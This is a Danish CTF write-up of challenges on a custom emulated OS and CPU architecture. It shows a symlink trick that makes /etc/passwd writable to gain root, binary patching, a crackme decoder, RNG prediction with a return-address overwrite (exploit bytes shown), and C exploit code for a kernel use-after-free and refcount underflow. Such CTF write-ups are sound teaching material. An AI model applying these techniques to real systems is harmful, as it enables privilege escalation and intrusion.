Hackerakademiets CTF

Dette er en del af mine writeups til hackerakademiets CTF.

Dette år er FE igen ude med en CTF som markedsføring for deres uddannelse. Denne CTF er som altid lige i min boldgade med massere af reversing, og interessante udfordringer. Dette år er ikke en undtagelse, da de har udviklet deres eget operativ-system specielt til denne CTF. Dette operativ-system er UNIX-like, hedder Fenix, og kører på sin egen arkitektur Femtium.
Der er derfor stillet en VM til rådighed med en emulator, en compiler, og et diskbillede. Alle udfordringer er en del af dette operativsystem, og ligger på diskbilledet.

Jeg endte med at løse alle udfordringer i denne CTF, men jeg har kun valgt at skrive writeups over dem jeg fandt interessante løsninger til, eller som har krævet ikke-trivielt arbejde.

Helmig

Den første udfordring jeg fandt interessant var helmig. Helmig er en bruger på systemet, og eksekvere en "helmig" ELF fil på en bestemt mappe, dette kan ses med `ps aux`.

Udfordringen fungere ved at denne process poller filer i challenge mappen, og bruger dette som en form for keypad, målet er at taste de rigtige tal ved at skrive til den tilsvarende fil, er tallet rigtigt forsvinder dette. Det er altså ikke en uoverkommelig bruteforcing opgave.

Den åbenlyse måde at løse denne på er ved at skrive et bash script som bruteforcer koden rekursivt. Dette virker efter planen og giver et flag, men udfordringen består af to flag i alt, og andet flag gives hvis man kan ramme koden uden at ramme forkert en enkelt gang.

Named pipes

Filerne der skrives til er named pipes under Linux, og de bliver tjekket for indput angiveligt gennem polling, som er en Linux funktion der tjekker en række filer for hvorvidt der er data at læse. Dette betyder at når vi skriver til filen signalers helmig processen.

Løsning

Der findes mindst to måder at løse denne på, den ene er at bruteforce nøglen for at få det første flag, den anden er at misbruge polling systemet i en form for race condition.

Den anden metode løste jeg den på, og dette kan gøres ret nemt med links.
Hvis der oprettes links, eller en hver anden fil med data, for alle tallene, og først derefter læser message filen får man flaget. Dette kan sammenlignes med at trykke på alle knapper på en keypad samtidigt.

Dette kunne tænkes at skyldes noget der ligner en race condition, eller bare en logisk fejl, der når jeg "trykker" på alle knapperne på én gang registrere den rigtige kode før fejlhåndteringen sparker ind.

Unintended - 1

Da programmet som helmig brugeren kører hele tiden er loaded i memory, kan man dumpe emulatorens mapped memory og finde de to klartekst flag.
Jeg var i stand til at opnå dette med med min process-memory-dumper:
https://github.com/Bechsen/ELFprocdumper

Unintended - 2 expoit til root

Processen helmig opretter og sletter filer i mappen, og det kan ses at filerne ejes af root. Disse filer oprettes sandsynligvis med open, og der sættes derefter write access for world på dem, så de kan skrives til af noob brugeren.

Open vil oprette filer hvis ikke de eksistere, men hvis de gør, returnere den en filedescriptor til dem. Derfor, hvis vi først opretter en fil, vil processen helmig bare åbne og sætte permissions på denne.

Opretter vi først et link til /etc/passwd med navnet "0" (eller en af de andre tal), vil processen følge linket og sætte permissions på target. I dette tilfælde kan det bruges til at sætte write permissions på f.eks. /etc/passwd og derved give muligheden for at oprette en ny root bruger!

Fra root brugeren er der flere flag at hente, fordi den har adgang til at køre samt læse filer fra de andre challenges.

itsadate1,2,3

Dette sæt af udfordringer er kategoriseret under brugeren johnny (relativt nem), men blev udleveret efter jeg havde løst størstedelen af de andre. Derfor løste jeg dem på en anden måde end det antageligt var meningen.
Udfordringen består af et program der giver datoer i forskelligt format, og afventer selv-samme dato i et standardiseret format.

Den intentionelle løsning går jeg ud fra ville være at automatisere det. Men jeg har allerede udviklet en Femtium disassembler, og jeg vælger derfor at patche den binære fil. Til min fordel indeholder de compilede ELF filer stadig en hel del symbolisk information, dermed også funktionsnavne.

Denne binære indeholder et par funktioner men de interessante at patche må være level_1, level_2 og level_3.

Ved at undersøge level_1, kan jeg se at der er en løkke der kører 50 gange (0x00402b94).

I denne løkke kaldes mkdate_level_1 og prompt_and_verify. mkdate_level_1 laver datoer til level 1, og prompt_and_verify tjekker formatet og korrektheden af brugerindputtet, det er også herfra programmet exitter hvis svaret er forkert. Vi skal derfor undgå denne funktion helt.

For-loopet starter kun hvis iteratoren er mindre end 50, hvis vi ændre denne instruktion til et unconditional jump, kan vi springe spørgsmålene over. Instruktionen har bytes "bbcf89ed"

RØD: instruktionen
GRØN: reg1
BLÅ: reg2
GUL: jump offset
PINK: cmp type

Her er cmp type 1101 som svarer til "reg1 < reg2" hvis vi vender denne om vil loopet ikke starte. "reg1 > reg2" repræsenteres som 1010. Vi kan nu patche instruktionen som bliver til "bbcf89ea".

Det er vigtigt at bemærke, at patching er meget nemt på denne arkitektur, grundet dens konstante instruktions længde på 4 bytes.

Vi har skippet level 1 ved at flippe to bits... Easy :)
Level 2 og 3 løses på samme vis.

Binexp1

Dette er den første udfordring der introducere til Femtium arkitekturen, det er en reverse engineering challenge, ala en crackme. Koden lader ikke til at være compiled fra C, men instruktionerne bær præg af at være kodet i Femtium assembly. Det går jeg ud fra da der bruges syscalls til at printe beskeder til skærmen, og ikke printf eller puts fra libc. Det er derfor også relativt mange instruktioner.

Programmet starter med at loade bytes svarende til velkomst beskeden "Password please: "

Herefter, og før beskeden printes, kaldes der til pread syscall:

Parametrene til syscall functionen gemmes i r03-r05, og syscall nummeret er angivet i r03. I dette tilfælde 4004, hvis man kigger i headerfilerne på Fenix maskinen, kan man finde syscall numres funktioner. Syscall 4004 er read, og tager (int fd, char *buf, size_t count, loff_t pos). Hvad der er hvad kan være svært at hitte ud af koden, men r05 er pointeren til bufferen, og r04 må være fd (0 for stdin), r06 er count.
Herefter printes velkomst beskeden i en serie af syscalls med nummeret 4003 (write).

Resten af programmet decoder flaget og tjekker det manuelt mod indputtet. Da vi ikke har en femtium debugger, må disse trin analyseres statisk.

Der bliver loaded to bytearrays på følgende vis:

De to arrays er lige lange, den ene er det enkodet flag, og det andet er en key. I stedet for bare at xor hele byte arrayet, udføres der tre typer enkodning på forskellige intervaller. Først tjekkes inputtet for 0xa for at beslutte om koden er lang nok.

De næste 8 bytes fra flaget bliver trukket fra 8 bytes af nøglen samt ekstra 0x11. Her er en snippet fra en enkelt operation på flaget.

s1 = [0x6f,0x67,0xf0,0x79,0xe0,0xe4,0xb2,0xae,0x6d,0x69,0x65,0x6c,0x63,0x68,0x61,0x69,0x8a,0x92,0xa2,0xb0,0xb4,0xef,0xea,0xaa]

s2 = [0x18,0x11,0x64,0x0f,0x60,0x5e,0x42,0x32,0x03,0x06,0x12,0x33,0x25,0x0d,0x0c,0x1d,0x07,0x01,0x17,0x31,0x24,0x9b,0x4d,0x05]

for i in range(0,8):
    print(chr(s1[i]-s2[i]-0x11), end="")

Det næste interval er fra 8-16, og er en XOR. Det er dog ikke så tydeligt at der er tale om en XOR operation, da Femtium ikke har en XOR instruktion. Her gøres i stedet brug af NOR instruktionen, denne kan sammensættes til at forme de fleste andre logiske operationer.

Fem NOR instruktioner bliver brugt, og som kan ses på denne implementation af XOR med NOR gates fra Wikipedia, passer det med en XOR.

Tredje og sidste interval er også basal aritmetik, så den vil jeg springe over. Den endelige algoritme kan skrives i python:

s1 = [0x6f,0x67,0xf0,0x79,0xe0,0xe4,0xb2,0xae,0x6d,0x69,0x65,0x6c,0x63,0x68,0x61,0x69,0x8a,0x92,0xa2,0xb0,0xb4,0xef,0xea,0xaa]

s2 = [0x18,0x11,0x64,0x0f,0x60,0x5e,0x42,0x32,0x03,0x06,0x12,0x33,0x25,0x0d,0x0c,0x1d,0x07,0x01,0x17,0x31,0x24,0x9b,0x4d,0x05,0x00]

for i in range(0,8):
    print(chr(s1[i]-s2[i]-0x11), end="")
for i in range(8,16):
    print(chr(s1[i]^s2[i]), end="")

c = 0x1a
t = 0
for i in range(16,24):
    print(chr(s1[i]-s2[i]-c-t), end="")
    c = c+1
    t = t+1
print()

Binexp2

Dette er den første egentlige exploit udfordring, og den har to stadier. Spillets startskærm er denne menu:

Vælger man at spille, skal man gætte på et tal mellem 0 og 36. Det første tal man skriver er altid det rigtige. Man vinder $1 ved korrekt gæt...
Målet er at slå kasinoet ved at få en highscore, og exploite "set highscore" funktionen.

Del 1 - Beat the casino

Programmet er et casino-spil, hvor man kan vinde penge ved at gætte på et tal mellem 0 og 36 inklusiv. For at vinde spillet skal vi forudsige det tilfældige tal som gives. Disse tal generes med en Random Number Generator, og ved at kigge i symbolsk information fra ELF filen, kan vi gætte på hvilken type RNG der bruges.

I dette tilfælde en LCG, som er en meget simpel RNG. Se eventuelt Python implementationen:

def lcg(modulus, a, c, seed):
    """Linear congruential generator."""
    while True:
        seed = (a * seed + c) % modulus
        yield seed

Vi har et hint bestående i at det er muligt at observere 2 ting:
1) Ved genstart af programmet, kan samme output observeres hvis samme starttal gættes på.
2) Det første tal indtastet er altid det rigtige for første runde.

Det er altså ikke et tilfældigt seed, ej heller influeret af entropi.

Den nemme, men meget langsomme løsning her, ville være at indtaste 200 forkerte tal, for startværdi=n, og notere outputtet. Herefter genstartes programmet og samme startværdi indtastes efterfulgt af de nu kendte 200 værdier. Men det ville godt nok være kedeligt...

Reversing LCG

Da LCG funktionen er så simpel, og kun kræver få konstanter, er det blot at identificere disse konstanter i funktionens instruktioner. Med lidt variation.

En hurtig c implementation

unsigned char lcg(int *seed){
    int a = 269;
    unsigned int s = *seed;
    s = a * s;
    *seed = s+1;
    return (*seed>>8 & 0xff);
}

Først ses det at som du måske har gættet, er det første input (gæt) det seed som senere bliver brugt. Det kan også ses i assemblien at lcg() tager seeded, ganger med 269, tilføjer 1, og gemmer dette igen. Interessant at observere er at den returner en enkel byte, på anden plads i resultatet, den forkaster altså størstedelen af resultatet.

Spin funktionen udfører resten af lcg, ved at udføre operationer svarende til modulus 36 på resultatet. En grov oversættelse heraf:

int spin(int *seed){
    int r03 = lcg(seed);
    int r30 = 36;
    int r31 = r03 / r30;
    r30 = r31 * r30;
    r30 = ~(r30|0);
    r03 = r03 + (r30+1);
    return r03;
}

Koden producere de samme resultater som binexp2, hvis vi kører den i et loop kan vi procudere de første ex. 200 resultater.

Nu kan vi få en highscore og udvikle vores exploit.

Exploiting

Funktionen vi skal kalde er "win", som kører programmet i mappen der printer flaget. Dette er muligt fordi progammet er setuid, og sætter ens bruger ID til det af Binexp2 brugeren.

Vi kan lave en exploit fil, og læse den ind som stdin til binexp2. Denne fil skal indeholde alle tastetryk til at opnå en highscore, dvs. menuvalg 1 -> gæt 1 -> menuvalg 1 -> gæt x. Opdelt af 0x0a newlines.

Efter 200 gæt får vi en highscore, og bliver promptet om at indtaste et navn. I setHighscore kan de ses at scanf bliver brugt, og læser %32s.
Hvis man fuzzer en smule og indsætter 32 unikke tegn, crasher hele emulatoren, med en meget interessant IP.

For det trænede øje kan det ses at 0x75767778 er ASCII karaktere, det er lykkedes os at overskrive IP, og vi har hijacket kodeflowet. Hvis vi erstatter karakterene ved position 0x75 ('u') og frem, med adressen til win (0x4023a0) funktionen får vi flaget:

Endeligt exploit:

00000000: 310a 310a 310a 3237 0a31 0a33 310a 310a  1.1.1.27.1.31.1.
00000010: 3130 0a31 0a32 360a 310a 3138 0a31 0a39  10.1.26.1.18.1.9
[..SNIP..]
000002e0: 310a 3236 0a31 0a32 0a61 6263 6465 6667  1.26.1.2.abcdefg
000002f0: 6869 6a6b 6c6d 6e6f 7071 7273 7400 4023  hijklmnopqrst.@#
00000300: a00a                                     ..

Binexp3

Dette program ligner meget det foregående, med et par ret essentielle ændringer.

  1. Win funktionen er væk
  2. LCG er erstattet af et syscall, og er ikkestatisk som foregående.

Syscall numre er langt større i Fenix end på en normal unix platform, 4000+. Sycall i spin() har nummer 0x1101.

#define SYS_getrandom               4353

Dette er et sycall vi kan reverse i emulatoren.

Noget siger mig dog at vi stadig skal gøre brug af samme buffer overflow, som i den sidste. Men skive egen shellcode.

[Work in progress....]

Binexp4

Kernel exploits er en mystisk affære for mange nye, denne udfordring giver en sjov introduktion til noget af det, selvom det egentligt ikke er særligt kernespecifikt.

I Fenix kernen er der en devicedriver med navnet Flag. Ved at reverse emulatoren, kan denne kode ses. Dette device implementere 5 ioctl's;

  • Load user flag
  • Load kernel flag
  • Unload user flag
  • Unload kernel flag
  • Check flags

Målet er at loade de to flag, og få dem til at matche. Derved skrives flaget til devicet, som kan læses med en read.
For at exploite denne sårbarhed, skal der gøres brug af to forskellige typer af sårbarheder. Integer underflow, og UAF.

Målet er at få pointeren til flagene i memory, til at pege på den samme allokerede blok. Hvis vi junglerer lidt med free og load, kan vi få noget til at ske.

Funktionen der skal exploites ligger, som førnævnt, i selve emulatoren, og ikke i Fenix. En grov skitse af funktionaliteten:

fd_flag_ioctl(fd *file,u32 request,u8 *argp){
    switch(request) {
    case 1:
        // Load kernel flag
        if (kernelflagRefCnt == 1)
            return 1;
        kernelflag = kmalloc(100);
        memcpy(kernelflag, FLAG);
        kernelflagRefCnt++;
        break;
    case 2:
        // Free kernel flag
        if (kernelflagRefCnt == 1){
            kfree(kernelflag);
        }
        kernelflagRefCnt--;
        break;
    case 3:
        // Load user flag
        if (userflagRefCnt == 1){
            puts("You alreade loaded a flag");
            break;
        }
        userflag = kmalloc(32);
        memcpy(userflag, U-FLAG, 32);
        userflagRefCnt++;
        break;
    case 4:
        // Free user flag
        if (userflagRefCnt == 1){
            kfree(userflag);
        }
        userflagRefCnt--;
        break;
    case 5:
        // Check flags
        test = strncmp(userflag,kernelflag,32);
        if(test == 0){
            // Decrypt flag, write to chardev
        }
    }
}

Her kan man observere at der er muligt at unloade flagene uden begrænsnigner. Vi kan derfor underflowe f.eks. userflagRefCnt med 254 så resultatet bliver = 1.

Det er muligt at exploite dette stykke kode, ved at få userflag og kernelflag til at pege på samme adresse.

Planen er

  1. Load userflag
  2. Free userflag
  3. Load kernelflag
  4. 254xFree userflag
  5. Validate
#ifndef FENIX_KERNEL_DEVFLAG_H
#define FENIX_KERNEL_DEVFLAG_H

//#include <fenix/chardev.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define CHARDEV_FLAG_MAJOR 13
#define CHARDEV_FLAG_MINOR 37

//extern struct fd_ops flag_ops;
//extern struct vfs_chardev chardev_flag;

/* IOCTLs */
#define KERNELFLAGLOAD 1
#define KERNELFLAGFREE 2
#define USERFLAGLOAD   3
#define USERFLAGFREE   4
#define VERIFYFLAG     5

#endif

int main(){
        // underflow a unsigned char
        unsigned char kfc, ufc;
        kfc = 0;
        ufc = 0;

        int fd = open("/dev/flag", O_NONBLOCK);

        // Load fake userflag
        ioctl(fd, USERFLAGLOAD, "FE{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}");

        ioctl(fd, USERFLAGFREE);
        ioctl(fd, KERNELFLAGLOAD);
        while(ufc != 1){
                ioctl(fd, USERFLAGFREE);
                ufc--;
        }
        ioctl(fd, VERIFYFLAG);

}


Links

Femtium disassembler til radare2: https://github.com/Bechsen/Radare2-FMT5

Et bedre writeup, med andre løsninger: https://astr.cc/blog/fe-ctf-2019-writeup/

Show Comments